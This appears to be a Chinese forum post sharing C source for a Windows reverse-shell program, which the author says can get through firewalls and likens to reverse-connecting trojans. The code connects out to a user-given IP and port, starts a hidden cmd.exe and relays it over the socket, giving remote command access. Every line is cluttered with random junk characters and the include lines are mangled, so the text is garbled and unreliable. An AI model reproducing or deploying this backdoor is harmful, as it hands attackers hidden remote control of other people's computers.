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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &l`_D?{<#  
`;R$Ji=>  
/* ============================== "\~>[on  
Rebound port in Windows NT P9`CW  
By wind,2006/7 ]I/* J^  
===============================*/ GM^H )8U  
#include j)Q}5M  
#include eUu<q/FUMj  
8&+u+@H  
#pragma comment(lib,"wsock32.lib") %F-yF N"  
+Swl$ab  
void OutputShell(); %qrUP\rn  
SOCKET sClient; D}ZPgt#   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; f@Ve,i  
D 7thLqA  
void main(int argc,char **argv) & R<K>i  
{ |a\,([aU  
WSADATA stWsaData; F2n4#b  
int nRet; Ka)aBU9  
SOCKADDR_IN stSaiClient,stSaiServer; _S &6XNV  
(o\D=!a  
if(argc != 3) B/~ubw  
{ KeyHxU=?  
printf("Useage:\n\rRebound DestIP DestPort\n"); `09[25?  
return; >N~jlr|  
} ja{x}n*5  
H\<PGC"_Y  
WSAStartup(MAKEWORD(2,2),&stWsaData); 5ry[Lgg  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2of+KI:  
%N7G>_+  
stSaiClient.sin_family = AF_INET; Mp J3*$Dr  
stSaiClient.sin_port = htons(0); gV5mERKs  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !;k ^  
ZM=eiJZ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S->Sp  
{ %~Ymb&ugg  
printf("Bind Socket Failed!\n"); s2+_`Ogg  
return; #Oa`P  
} WL\*g] K4  
B SEP*#s  
stSaiServer.sin_family = AF_INET; V<n#%!M5gV  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ufA0H J)Yg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yzG BGC  
0|rdI,z  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _UF'Cf+Y  
{ ?/Aql_?3  
printf("Connect Error!"); p|)j{nc  
return; 7'{Y7]+z+  
} U}-hV@y  
OutputShell(); t..@69  
} $fW8S8  
m?1AgsBR  
void OutputShell() j6rwlwN  
{ ~Z97L  
char szBuff[1024]; ~?lmkfy  
SECURITY_ATTRIBUTES stSecurityAttributes; lYrW"(2  
OSVERSIONINFO stOsversionInfo; Y;sN UX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =vKSvQP@)  
STARTUPINFO stStartupInfo; f[$Z<:D-ve  
char *szShell; g$Ns u:L  
PROCESS_INFORMATION stProcessInformation; .YIb ny1  
unsigned long lBytesRead; pH?"@  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); k8ymOx  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `lE8dwL  
stSecurityAttributes.lpSecurityDescriptor = 0; ARid   
stSecurityAttributes.bInheritHandle = TRUE; ^Pc&`1Ap  
|+Ub3<b[]  
4--[.j*W  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |H-zm&h>'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K1fnHpK  
yLCJSN$7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4ko(bW#jL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PPj0LFA  
stStartupInfo.wShowWindow = SW_HIDE; 7cT ~u  
stStartupInfo.hStdInput = hReadPipe; p GSS   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +C9 l7 q  
!W45X}/o  
GetVersionEx(&stOsversionInfo); *8xMe  
C?VNkBJ>\  
switch(stOsversionInfo.dwPlatformId) 25jgM!QBXF  
{ g=n /w  
case 1: =(>pv,  
szShell = "command.com"; !5[5l!{x  
break; . ,n>#lL  
default: S9S%7pE  
szShell = "cmd.exe"; A;C)#Q/  
break; i;}mIsNBY  
} I> z0)pB  
G![JRJxQ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xsdi\ j;n>  
>-Q=o,cl%3  
send(sClient,szMsg,77,0); "94qBGf  
while(1) $23dcC*hI  
{ WkR=(dss8  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O0 ,=@nw8.  
if(lBytesRead) DS1_hbk  
{ VRa>bS  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YB'BAX<lI  
send(sClient,szBuff,lBytesRead,0); ^5BQ=  
} eUE(vn#  
else /p_#8}Uh  
{ L4-v'Z;  
lBytesRead=recv(sClient,szBuff,1024,0); JE.s?k  
if(lBytesRead<=0) break; JP*VR=0k?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ub-q0[6  
} i-*ZW:  
} |KLCO'x  
8xN+LL'T{  
return; x l4A<  
}
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